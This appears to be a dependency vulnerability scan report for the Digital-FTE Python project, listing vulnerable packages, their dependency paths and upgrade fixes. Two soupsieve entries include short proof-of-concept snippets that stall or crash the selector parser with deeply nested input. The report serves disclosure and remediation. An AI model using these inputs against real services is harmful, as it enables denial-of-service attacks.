  • Vulnerable module: protobuf
  • Introduced through: google-api-python-client@2.198.0 and firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion in the ParseDict() function, when handling deeply nested google.protobuf.Any messages. An attacker can bypass max_recursion_depth to exhaust the recursion stack and trigger a RecursionError.

Remediation

Upgrade protobuf to version 5.29.6, 6.33.5 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

high severity

Timing Attack

  • Vulnerable module: oauthlib
  • Introduced through: google-auth-oauthlib@1.3.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › oauthlib@3.2.2
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.

Overview

Affected versions of this package are vulnerable to Timing Attack via the code_challenge_method_s256 and code_challenge_method_plain functions in oauthlib/oauth2/rfc6749/grant_types/authorization_code.py, which compare PKCE code verifiers and challenges using the non-constant-time == operator. An attacker can exploit the resulting timing side-channel to progressively recover a valid PKCE code verifier or challenge through repeated token-endpoint requests, ultimately bypassing the PKCE authorization code binding and gaining unauthorized access to protected resources.

Remediation

Upgrade oauthlib to version 4.0.0 or higher.

References

high severity

Improper Certificate Validation

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Certificate Validation in the connect method of src/urllib3/connection.py when an HTTPS proxy is configured with proxy_ssl_context while the target server uses a different certificate-verification policy. Due to the proxy's TLS settings not being isolated from the target's TLS settings, the proxy's ssl_context is incorrectly applied to the target connection (or vice versa), allowing an attacker to bypass certificate validation for either the proxy or the target server and perform a MitM attack.

Note: This is only exploitable when an HTTPS proxy is configured with proxy_ssl_context and the target server uses a different certificate-verification policy.

Remediation

Upgrade urllib3 to version 2.8.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: httplib2
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › httplib2@0.31.2
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › httplib2@0.31.2
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › httplib2@0.31.2
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › httplib2@0.31.2
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › httplib2@0.31.2
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

httplib2 is a small HTTP client library for Python.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) through the _decompressContent function in httplib2/__init__.py. An attacker can exhaust memory and crash the client by sending an HTTP response with Content-Encoding: gzip or deflate and a small compressed body that expands into a very large payload. The vulnerable request path automatically decompresses the entire response body in memory with unbounded gzip and zlib operations. Applications using httplib2.Http().request() against attacker-controlled or compromised HTTP endpoints are affected by MemoryError, OOM termination, and loss of service.

Notes

  • The affected client path is the automatic response-decompression step in Http().request(); applications that leave response compression enabled and talk to untrusted or intermediary-controlled servers are the ones exposed.
  • The vulnerability is broader than gzip alone: the same path handles deflate-encoded responses as well, so any endpoint that returns Content-Encoding: deflate can trigger the same in-memory expansion failure.

Remediation

Upgrade httplib2 to version 0.32.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Base64URL decoding process. An attacker can cause excessive CPU and memory consumption by supplying an arbitrarily large payload segment when verifying detached JWS tokens with the unencoded-payload option enabled.

Remediation

Upgrade pyjwt to version 2.13.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via PyJWKClient.get_signing_key in jwt/jwks_client.py, where an attacker can repeatedly present tokens with unknown key IDs, causing the client to perform an unbounded number of forced refreshes against the JWKS endpoint. Each unrecognised kid triggers a fresh HTTP fetch with no rate limiting or cooldown, allowing an attacker to exhaust the server's resources or cause excessive outbound network traffic.

Remediation

Upgrade pyjwt to version 2.14.0 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Uncaught Exception via _decode_payload in jwt/api_jwt.py, where a JWT token containing a deeply nested JSON payload triggers an unhandled RecursionError during json.loads parsing. An attacker can crash the application by submitting a token whose payload is a recursively nested JSON structure, causing an uncaught exception that propagates out of the decode path.

Remediation

Upgrade PyJWT to version 2.15.0 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the :has() CSS pseudo-class selector in css_match.py, which causes quadratic-time matching when processing deeply nested or wide HTML/XML documents. When :has() is used with a descendant relative selector (e.g. div:has(p)), the library repeatedly searches each candidate element's entire subtree without reusing results, producing O(n²) time complexity relative to nesting depth. When :has() appears on the parent side of a child combinator (e.g. div:has(> p) > span), the parent is re-evaluated once per child rather than once total, producing O(n²) time complexity relative to the number of children. An attacker who controls the parsed HTML or XML can send a small document that occupies a worker for seconds to minutes.

Note: This is only exploitable when selectors are run against attacker-controlled documents. Selectors compiled with the NOCACHE flag continue to use the old uncached behavior and remain vulnerable even after upgrading.

Workaround

If upgrading is not possible: avoid using :has() with a descendant relative selector or on the parent side of a child combinator against untrusted documents; use the ignore pseudo-class to ignore :has; limit the size, nesting depth, and number of children per element of untrusted documents before selecting on them; or run selection on untrusted input with a time limit in a worker process that can be stopped.

PoC

import time
import bs4
import soupsieve as sv

cases = [
    ('<div>' * 8000, 'div:has(p)'),
    ('<div>' + '<span></span>' * 5000 + '</div>', 'div:has(> p) > span'),
]
for markup, selector in cases:
    soup = bs4.BeautifulSoup(markup, 'html.parser')
    t = time.process_time()
    sv.select(selector, soup)
    print(selector, time.process_time() - t)

On affected versions, doubling the nesting depth (first case) or the number of children (second case) roughly quadruples the time.

Note: The PoC uses bs4 and soupsieve with the html.parser backend and states no specific versions or operating system.

Remediation

Upgrade soupsieve to version 4.0.1 or higher.

References

medium severity
new

Uncontrolled Recursion

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via parse_pseudo_open in soupsieve/css_parser.py, which calls back into parse_selectors for each level of nested pseudo-class selector (:is(), :not(), :where(), :has()) without any recursion depth limit. An attacker who can supply a CSS selector string to soupsieve.compile(), soupsieve.select(), or Beautiful Soup's soup.select() / soup.select_one() can exhaust the Python call stack with roughly 330 levels of nesting (about 1.6 KB of input), raising an uncontrolled RecursionError. The existing SELECTOR_LIMIT token guard reaches only about 330 at the failing depth versus its ceiling of 8192, so it never fires. Because RecursionError is outside the parser's documented error contract of ValueError / SelectorSyntaxError, applications that catch only those exceptions experience an unexpected per-request failure.

Note: This is only exploitable when the application passes attacker-controlled CSS selector strings to the parser.

PoC

Requires only an installed Soup Sieve (any release from 0.4 through 2.10) and a default CPython recursion limit of 1000. No Beautiful Soup document or network setup is needed.

import soupsieve as sv

# ~330 levels of nested :is() around a single tag: about 1.6 KB of input.
depth = 330
selector = ":is(" * depth + "a" + ")" * depth
print("selector length:", len(selector))
sv.compile(selector)
selector length: 1651
Traceback (most recent call last):
  ...
  File ".../soupsieve/css_parser.py", line 985, in parse_pseudo_open
    sel.selectors.append(self.parse_selectors(iselector, index, flags))
RecursionError: maximum recursion depth exceeded

The same failure was reproduced with :not(), :where(), and :has(), and through BeautifulSoup(...).select(selector). A negative control at depth 100 compiles successfully with a token count of 101, confirming the token guard is far from firing.

Note: Requires only an installed Soup Sieve and a default CPython recursion limit of 1000, with no Beautiful Soup document or network setup needed.

Remediation

Upgrade soupsieve to version 3.0 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: pydantic@2.5.3, pytest@7.4.4 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pydantic@2.5.3 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to pydantic@2.6.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pytest@7.4.4 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to pytest@7.4.4.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pytest@7.4.4 › pluggy@1.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to pytest@7.4.4.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pytest-asyncio@0.21.2 › pytest@7.4.4 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to pytest-asyncio@0.21.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › redis@5.0.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pytest-asyncio@0.21.2 › pytest@7.4.4 › pluggy@1.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to pytest-asyncio@0.21.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@46.0.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
